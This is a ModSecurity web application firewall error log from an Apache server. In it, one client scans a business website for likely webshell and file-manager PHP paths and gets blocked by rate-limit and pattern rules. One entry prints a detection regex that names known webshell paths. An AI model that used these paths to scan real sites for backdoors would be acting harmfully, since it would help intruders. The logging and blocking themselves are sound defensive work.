[Thu Apr 23 02:04:32.835484 2026] [:error] [pid 6384:tid 6410] [client 4.235.1.40:41104] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aekNsD58M3t15ICeWHXZBwAAANc"]
[Thu Apr 23 02:04:34.350091 2026] [:error] [pid 6251:tid 6302] [client 4.235.1.40:8500] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aekNsisFAzbyObL-SQ6uBwAAAJE"]
[Thu Apr 23 02:04:35.815786 2026] [:error] [pid 23776:tid 23795] [client 4.235.1.40:20283] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aekNs7RExf-1pAbSeJtkswAAAZE"]
[Thu Apr 23 02:04:36.832737 2026] [:error] [pid 9085:tid 9097] [client 4.235.1.40:38101] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aekNtN-_-or9vQnlWno-ugAAAUo"]
[Thu Apr 23 02:04:37.965369 2026] [:error] [pid 6250:tid 6263] [client 4.235.1.40:46871] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aekNtQ-iZeQkqmQVfj5OOwAAAEk"]
[Thu Apr 23 02:04:39.124523 2026] [:error] [pid 6384:tid 6390] [client 4.235.1.40:46859] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aekNtz58M3t15ICeWHXZEwAAAMM"]
[Thu Apr 23 02:04:40.596418 2026] [:error] [pid 6250:tid 6267] [client 4.235.1.40:36148] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aekNuA-iZeQkqmQVfj5OQQAAAE0"]
[Thu Apr 23 02:04:41.354737 2026] [:error] [pid 9085:tid 9095] [client 4.235.1.40:9028] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aekNud-_-or9vQnlWno-wgAAAUg"]
[Thu Apr 23 02:04:42.418109 2026] [:error] [pid 23776:tid 23782] [client 4.235.1.40:29251] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aekNurRExf-1pAbSeJtktQAAAYQ"]
[Thu Apr 23 02:04:43.158303 2026] [:error] [pid 6384:tid 6408] [client 4.235.1.40:20229] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aekNuz58M3t15ICeWHXZHwAAANU"]
[Thu Apr 23 02:04:44.726617 2026] [:error] [pid 6384:tid 6389] [client 4.235.1.40:52521] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aekNvD58M3t15ICeWHXZIQAAAMI"]
[Thu Apr 23 02:04:46.201455 2026] [:error] [pid 23776:tid 23788] [client 4.235.1.40:37422] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aekNvrRExf-1pAbSeJtkvQAAAYo"]
[Thu Apr 23 02:04:47.867890 2026] [:error] [pid 23776:tid 23780] [client 4.235.1.40:61944] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aekNv7RExf-1pAbSeJtkwAAAAYI"]
[Thu Apr 23 02:04:52.896754 2026] [:error] [pid 6252:tid 6330] [client 4.235.1.40:48701] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aekNxOtGYuiYb1nWBpSF2wAAARI"]
[Thu Apr 23 02:04:53.535977 2026] [:error] [pid 6384:tid 6401] [client 4.235.1.40:28406] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aekNxT58M3t15ICeWHXZNgAAAM4"]
[Thu Apr 23 02:04:55.780010 2026] [:error] [pid 9085:tid 9101] [client 4.235.1.40:37397] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aekNx9-_-or9vQnlWno-1gAAAU4"]
[Thu Apr 23 02:05:01.271401 2026] [:error] [pid 6250:tid 6275] [client 4.235.1.40:18911] [client 4.235.1.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aekNzQ-iZeQkqmQVfj5OSAAAAFU"]
[Thu Apr 23 02:05:15.129806 2026] [:error] [pid 23776:tid 23802] [client 4.235.1.40:24321] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aekN27RExf-1pAbSeJtk7QAAAZg"]
[Thu Apr 23 02:05:29.233914 2026] [:error] [pid 9085:tid 9111] [client 4.235.1.40:18874] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wgift1.php"] [unique_id "aekN6d-_-or9vQnlWno_HwAAAVg"]
[Thu Apr 23 02:05:32.149098 2026] [:error] [pid 9085:tid 9092] [client 4.235.1.40:25221] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wgift1.php"] [unique_id "aekN7N-_-or9vQnlWno_IgAAAUU"]
[Thu Apr 23 02:05:34.393166 2026] [:error] [pid 6344:tid 6368] [client 4.235.1.40:36756] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wgift1.php"] [unique_id "aekN7kDOTF-pkQnDeUlEywAAABM"]
[Thu Apr 23 02:05:36.961978 2026] [:error] [pid 9085:tid 9110] [client 4.235.1.40:50635] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wgift1.php"] [unique_id "aekN8N-_-or9vQnlWno_MgAAAVc"]
[Thu Apr 23 02:05:38.014462 2026] [:error] [pid 9085:tid 9087] [client 4.235.1.40:8778] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aekN8t-_-or9vQnlWno_NwAAAUA"]
[Thu Apr 23 02:05:39.297081 2026] [:error] [pid 23776:tid 23786] [client 4.235.1.40:50680] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aekN87RExf-1pAbSeJtlFgAAAYg"]
[Thu Apr 23 02:05:40.193952 2026] [:error] [pid 6384:tid 6392] [client 4.235.1.40:19460] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aekN9D58M3t15ICeWHXZkgAAAMU"]
[Thu Apr 23 02:05:41.489109 2026] [:error] [pid 9085:tid 9088] [client 4.235.1.40:33115] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xynz.php"] [unique_id "aekN9d-_-or9vQnlWno_RgAAAUE"]
[Thu Apr 23 02:05:42.952326 2026] [:error] [pid 9085:tid 9090] [client 4.235.1.40:19488] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aekN9t-_-or9vQnlWno_TgAAAUM"]
[Thu Apr 23 02:05:43.964143 2026] [:error] [pid 6250:tid 6257] [client 4.235.1.40:27310] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aekN9w-iZeQkqmQVfj5OYQAAAEM"]
[Thu Apr 23 02:05:45.084446 2026] [:error] [pid 9085:tid 9092] [client 4.235.1.40:40500] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aekN-d-_-or9vQnlWno_WwAAAUU"]
[Thu Apr 23 02:05:46.068164 2026] [:error] [pid 6252:tid 6336] [client 4.235.1.40:19891] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aekN-utGYuiYb1nWBpSF9QAAARg"]
[Thu Apr 23 02:05:47.402160 2026] [:error] [pid 23776:tid 23783] [client 4.235.1.40:18352] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aekN-7RExf-1pAbSeJtlGwAAAYU"]
[Thu Apr 23 02:05:49.280367 2026] [:error] [pid 23776:tid 23794] [client 4.235.1.40:19492] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aekN_bRExf-1pAbSeJtlIQAAAZA"]
[Thu Apr 23 02:05:50.852792 2026] [:error] [pid 6384:tid 6404] [client 4.235.1.40:8776] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aekN_j58M3t15ICeWHXZpQAAANE"]
[Thu Apr 23 02:05:52.038027 2026] [:error] [pid 23776:tid 23788] [client 4.235.1.40:30775] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aekOALRExf-1pAbSeJtlIwAAAYo"]
[Thu Apr 23 02:05:53.229766 2026] [:error] [pid 6252:tid 6329] [client 4.235.1.40:30723] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aekOAetGYuiYb1nWBpSGBAAAARE"]
[Thu Apr 23 02:05:55.354714 2026] [:error] [pid 23776:tid 23798] [client 4.235.1.40:19860] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aekOA7RExf-1pAbSeJtlLAAAAZQ"]
[Thu Apr 23 02:05:57.826374 2026] [:error] [pid 6384:tid 6394] [client 4.235.1.40:30750] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aekOBT58M3t15ICeWHXZvQAAAMc"]
[Thu Apr 23 02:05:59.434993 2026] [:error] [pid 6384:tid 6398] [client 4.235.1.40:34372] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aekOBz58M3t15ICeWHXZygAAAMs"]
[Thu Apr 23 02:06:00.613362 2026] [:error] [pid 9085:tid 9107] [client 4.235.1.40:30235] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aekOCN-_-or9vQnlWno_bgAAAVQ"]
[Thu Apr 23 02:06:01.663870 2026] [:error] [pid 6384:tid 6405] [client 4.235.1.40:41154] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aekOCT58M3t15ICeWHXZ0wAAANI"]
[Thu Apr 23 02:06:03.045489 2026] [:error] [pid 6384:tid 6408] [client 4.235.1.40:19481] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aekOCz58M3t15ICeWHXZ1gAAANU"]
[Thu Apr 23 02:06:04.490079 2026] [:error] [pid 9085:tid 9104] [client 4.235.1.40:56311] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aekODN-_-or9vQnlWno_gQAAAVE"]
[Thu Apr 23 02:06:05.200806 2026] [:error] [pid 9085:tid 9096] [client 4.235.1.40:19500] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aekODd-_-or9vQnlWno_hAAAAUk"]
[Thu Apr 23 02:06:06.480387 2026] [:error] [pid 23776:tid 23782] [client 4.235.1.40:34382] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aekODrRExf-1pAbSeJtlPwAAAYQ"]
[Thu Apr 23 02:06:07.432862 2026] [:error] [pid 6384:tid 6409] [client 4.235.1.40:9205] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aekODz58M3t15ICeWHXZ2QAAANY"]
[Thu Apr 23 02:06:08.774094 2026] [:error] [pid 6344:tid 6369] [client 4.235.1.40:9177] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "aekOEEDOTF-pkQnDeUlE5gAAABQ"]
[Thu Apr 23 02:06:10.222194 2026] [:error] [pid 23776:tid 23785] [client 4.235.1.40:22827] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aekOErRExf-1pAbSeJtlSQAAAYc"]
[Thu Apr 23 02:06:11.232214 2026] [:error] [pid 23776:tid 23780] [client 4.235.1.40:30729] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aekOE7RExf-1pAbSeJtlTgAAAYI"]
[Thu Apr 23 02:06:12.267382 2026] [:error] [pid 9085:tid 9092] [client 4.235.1.40:40482] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aekOFN-_-or9vQnlWno_lwAAAUU"]
[Thu Apr 23 02:06:13.391557 2026] [:error] [pid 6250:tid 6271] [client 4.235.1.40:18333] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aekOFQ-iZeQkqmQVfj5OhgAAAFE"]
[Thu Apr 23 02:06:14.451561 2026] [:error] [pid 6384:tid 6397] [client 4.235.1.40:9152] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/view.php"] [unique_id "aekOFj58M3t15ICeWHXZ7AAAAMo"]
[Thu Apr 23 02:06:15.300156 2026] [:error] [pid 9085:tid 9094] [client 4.235.1.40:9196] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/view.php"] [unique_id "aekOF9-_-or9vQnlWno_owAAAUc"]
[Thu Apr 23 02:06:16.773187 2026] [:error] [pid 6251:tid 6295] [client 4.235.1.40:25743] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/view.php"] [unique_id "aekOGCsFAzbyObL-SQ6uLwAAAIo"]
[Thu Apr 23 02:06:18.691315 2026] [:error] [pid 6250:tid 6275] [client 4.235.1.40:31253] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/view.php"] [unique_id "aekOGg-iZeQkqmQVfj5OhwAAAFU"]
[Thu Apr 23 02:06:19.594344 2026] [:error] [pid 6250:tid 6268] [client 4.235.1.40:59460] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aekOGw-iZeQkqmQVfj5OiQAAAE4"]
